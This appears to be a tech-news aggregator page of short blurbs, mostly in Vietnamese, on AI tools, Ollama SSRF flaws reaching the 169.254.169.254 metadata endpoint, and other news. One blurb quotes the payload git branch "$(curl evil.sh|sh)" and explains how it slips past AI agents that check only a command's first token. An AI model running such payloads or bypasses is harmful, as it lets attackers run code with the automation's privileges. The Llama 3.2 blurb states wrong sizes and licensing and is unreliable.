Cross the bridge to practical knowledge in AI, web, business & more.
Trong phiên bản beta, Bộ định tuyến AI cá nhân (PAIR) của Nvidia sẽ quét mạng gia đình để tìm các GPU dòng RTX-20, card RTX-Pro, các nút DGX Spark hoặc máy Mac chip M4, sau đó điều phối các thiết bị đang rảnh rỗi để chạy các mô hình LLM cục bộ thông qua Ollama hoặc LM Studio, tất cả đều được bảo mật bằng mã hóa TLS hai chiều.
Lỗ hổng SSRF vẫn tồn tại trong Ollama 0.33.2 do trình tải mô hình tensor sử dụng một HTTP client riêng biệt, bỏ qua cơ chế bảo vệ chuyển hướng đã được thêm vào cho CVE-2026-5530, cho phép kẻ tấn công chuyển hướng các yêu cầu tải về tới bất kỳ địa chỉ nào có thể truy cập được.
Thỏa thuận mua bán điện với hệ thống địa nhiệt tăng cường của Fervo sẽ bắt đầu cung cấp điện vào năm 2028, mang lại cho Google nguồn điện nền ổn định, không phát thải carbon, đáp ứng nhu cầu hoạt động liên tục của việc huấn luyện AI mà không cần đến các hệ thống lưu trữ bằng pin đắt đỏ.
The startup’s hosted API lets anyone with a credit-card query an unrestricted version of GLM-5.3, eliminating the need for local GPUs or custom code. While security teams praise the tool for realistic attack simulations, researchers warn it can also churn out step-by-step instructions for cyber-crim
Framework mã nguồn mở aidlc-workflows bổ sung một vòng đời gồm bốn giai đoạn—lập kế hoạch, thực hiện, xác minh và chuẩn bị đánh giá—cho các tác nhân lập trình AI hiện có, giúp các đội ngũ theo dõi các chỉ số cụ thể đồng thời cân nhắc chi phí token và sự biến động của mô hình.
CVE-2026-22708 cho thấy các tác nhân chỉ kiểm tra token đầu tiên của câu lệnh có thể bị đánh lừa bởi các payload ẩn trong các đối số—ví dụ: git branch "$(curl evil.sh|sh)"—từ đó cho phép kẻ tấn công có cùng đặc quyền như bot tự động hóa.
Các chế độ Live mới, được vận hành bởi mô hình Gemini của Google, cho phép người dùng trò chuyện tự nhiên với Gmail, Docs và Keep trên iOS và Android, đi kèm tính năng chuyển văn bản theo thời gian thực và khả năng chuyển tiếp mượt mà giữa các truy vấn, nhưng hiện tại chúng chỉ giới hạn ở tiếng Anh và các gói đăng ký AI cao cấp.
Foundry Toolbox hợp nhất việc xử lý thông tin xác thực, quản lý phiên bản và thực thi chính sách vào một điểm cuối duy nhất, trong khi Tool Search rút gọn các câu lệnh thành một danh sách rút gọn được xếp hạng, giúp giảm tới 94% lượng token đầu vào trong bài kiểm tra chuẩn với 600 công cụ và nâng cao độ chính xác khi lựa chọn công cụ.
Lỗ hổng (CVE-2026-85180) ảnh hưởng đến Ollama v0.33.2, cho phép bất kỳ ai cung cấp một tên mô hình khiến trình tải xuống tensor của máy chủ phải thực hiện chuyển hướng đến bất kỳ địa chỉ nào, bao gồm cả điểm cuối metadata đám mây 169.254.169.254, mà không cần xác thực.
Llama 3.2 của Meta ra mắt với ba cấu hình—8B, 30B và 70B—được huấn luyện trên 2,5 nghìn tỷ token. Kiến trúc mới giúp cắt giảm 22% nhu cầu tính toán, mang lại tốc độ suy luận nhanh hơn 1,8 lần trên các GPU hiện đại trong khi vẫn duy trì đầy đủ giấy phép Apache 2.0.
Sau 286 ngày lênh đênh trên biển—bao gồm cả việc chuyển hướng nhanh chóng để hỗ trợ các chiến dịch của Mỹ chống lại Iran—chiếc tàu sân bay dài 1.100 foot khi cập cảng Laem Chabang đã bị bao phủ bởi các vết rỉ sét, cho thấy việc thực hiện nhiệm vụ chiến đấu liên tục đang gây cản trở cho công tác bảo trì thân tàu thiết yếu.
Cuộc bỏ phiếu vào tháng 11 sẽ hỏi ý kiến người dân về việc liệu một bản sửa đổi hiến chương có thể áp đặt các giới hạn nghiêm ngặt về sử dụng đất, tiêu thụ điện và tiêu thụ nước đối với các dự án có quy mô tương đương cơ sở trị giá 6,9 tỷ USD rộng 300 mẫu Anh đang được đề xuất.
Trận lũ lụt kinh hoàng ập đến bất ngờ cũng khiến 541 người mất tích tại Tây Tạng, đẩy tổng số người mất tích trong khu vực lên 4.757 người, đồng thời buộc quân đội Nepal phải triển khai máy xúc vào các đường hầm thủy điện đang bị ngập lụt.
Sau một năm lênh đênh trên biển, việc tàu dừng chân tại Pattaya đã bộc lộ tình trạng cơ sở hạ tầng xuống cấp, áp lực về sức khỏe tâm thần và cú hích 3 triệu USD cho nền kinh tế địa phương – một lời nhắc nhở đanh thép rằng ngay cả những gã khổng lồ chạy bằng năng lượng hạt nhân cũng phải phụ thuộc vào các chuỗi cung ứng mong manh.
Vedere Labs đã kết hợp Claude với Ghidra để viết lại shellcode cho một dòng PLC WAGO khác, thực hiện thành công việc thực thi mã từ đầu đến cuối và thậm chí làm hỏng thiết bị—cho thấy AI có thể tự động hóa việc điều chỉnh mã khai thác dưới sự giám sát của con người.
